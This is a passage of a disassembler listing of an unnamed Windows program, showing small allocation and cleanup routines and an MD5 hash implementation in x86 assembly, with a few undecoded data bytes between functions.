		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0C1FCE890h, 0C0850231h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		nop
		call	near ptr 27507C8h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2750000h
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2770000h
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27E098Ch
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0C08BE851h, 56900230h, 0E890D88Bh
		dd 230C269h, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
